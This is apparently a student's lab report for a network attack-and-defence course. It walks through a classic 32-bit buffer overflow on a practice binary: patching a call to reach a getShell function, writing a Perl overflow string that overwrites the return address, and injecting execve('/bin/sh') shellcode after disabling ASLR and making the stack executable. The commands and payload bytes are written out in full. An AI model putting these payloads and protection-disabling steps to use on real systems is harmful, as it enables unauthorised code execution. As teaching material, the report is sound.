20231909 2023-2024-2 《网络攻防实践》实践九报告

20231909 2023-2024-2 《网络攻防实践》实践九报告

1.实践内容

1.通过修改可执行文件,改变程序执行流程以达到直接跳转到getShell函数的目的;
其中"getShell" 函数通常是一个命令执行函数,用于从远程服务器获取 shell 访问权限,以便攻击者可以在目标系统上执行任意命令。

2.通过main调用foo函数的Bof漏洞,通过攻击输入字符串,从而覆盖返回地址,以达到触发getShell函数的目的;

3.首先注入自制的shellcode,其次运行这段shellcode;
其中Shellcode 是一段用于利用软件漏洞或执行恶意代码的二进制机器码。通常,Shellcode 被用于利用缓冲区溢出漏洞,使攻击者可以通过篡改内存中的程序指令来控制目标计算机上的程序执行流程,实现攻击者的恶意目的。

2.实践过程

  • 1.前期准备
    先输入cd /home/kali/Desktop进入桌面目录;
    接着输入mv pwn1 pwn20231909,修改pwn1至包含学号信息;
    在这里插入图片描述在这里插入图片描述
  • 2.可执行文件的修改

输入objdump -d pwn20231909 | more命令,对可执行文件进行反编译;
在这里插入图片描述
使用enter键向下查看,可以发现其中有main函数,foo函数,getshell函数等,并且能够发现在main函数中调用了foo函数
在这里插入图片描述右图可知,call的机器码为e8,e8之后跟为其地址的机器码的倒序;getshell的函数地址为0804847d;
其中80484ba+ffffffd7=8048491,804847d-80484ba=ffffffc3;
需要将d7ffffff改为c3ffffff;
输入apt install xxd,安装xxd;
在这里插入图片描述

输入vim pwn20231909打开可执行文件,打开以后是乱码;
在这里插入图片描述
输入:%!xxd,将其转换为十六进制显示;
在这里插入图片描述
查找到需要的信息
在这里插入图片描述
按i切换为输入模式,修改d7为c3;
输入:%!xxd -r恢复为原格式;
重新输入objdump -d pwn20231909 | more;对结果进行验证;可见修改成功;
在这里插入图片描述

  • 3.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数

输入objdump -d pwn20231909 | more,观察foo函数,可以发现foo函数预留了28个字节的缓冲区。
在这里插入图片描述
由于给字符串预留的28字节的上面4个字节存放的是main函数的栈底地址,再上面的4个字节就是返回地址,因此构造字符串的33-36字节为0x7d840408;
输入perl -e ‘print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a”’ > 20231909input;
将字符串"11111111222222223333333344444444\x7d\x84\x04\x08\x0a"重定向到文件20231909input中;
在这里插入图片描述输入xxd 20231909input查看,可知修改成功;
在这里插入图片描述输入(cat 20231909input;cat) | ./pwn20231909,可以看见攻击成功
在这里插入图片描述

  • 4.注入shellcode代码
    安装execstack
    在这里插入图片描述设置堆栈可执行状态;
    输入execstack -s ./pwn20231909;
    输入execstack -q ./pwn20231909;
    在这里插入图片描述
    关闭地址随机化,并查看地址随机化的状态;
    输入more /proc/sys/kernel/randomize_va_space;
    输入echo “0” > /proc/sys/kernel/randomize_va_space ;
    在这里插入图片描述
    构造shellcode,找到shellcode的起始地址;
    输入perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > 20231909input2

    输入指令(cat 20231909input2;cat) | ./20231909pwn

    在这里插入图片描述
    另一终端输入指令 ps -ef | grep 20231909pwn,查看进程,可知进程编号为29915
    在这里插入图片描述
    输入gdb;
    输入attach 29915
    在这里插入图片描述
    输入disassemble foo
    在这里插入图片描述
    输入break *0x080484ae,设置断点
    在这里插入图片描述
    另一终端输入回车,到断点后停止
    在这里插入图片描述
    输入info r esp查看栈顶指针所在位置,查看到栈顶指针所在的位置:0xffffd3cc
    输入指令"x/16x 0xffffd3cc"查看存放内容。其中的0x01020304,就是返回地址的位置
    在这里插入图片描述可知地址为0xffffd3d0
    在这里插入图片描述输入perl -e ‘print “A” x 32;print “\xd0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00\x0a”’ > 20231909pwn构造最终的shellcode
    在这里插入图片描述可见攻击成功

3.学习中遇到的问题及解决

  • 问题1:显示command not found xxd
  • 问题1解决方案:重新安装xxd
  • 问题2:Unable to locate package execstack问题
  • 问题2解决方案:
    通过查阅相关资料,修改文件解决。
    在这里插入图片描述
    .

4.实践总结

通过本次事件理解了缓冲区溢出的攻击原理,同时也熟悉了gdb等调试工具的基本操作,并且在不断的查找资料的过程中,熟悉了常见的问题出现原因,锻炼了解决问题的能力

参考资料

  • 10
    点赞
  • 18
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值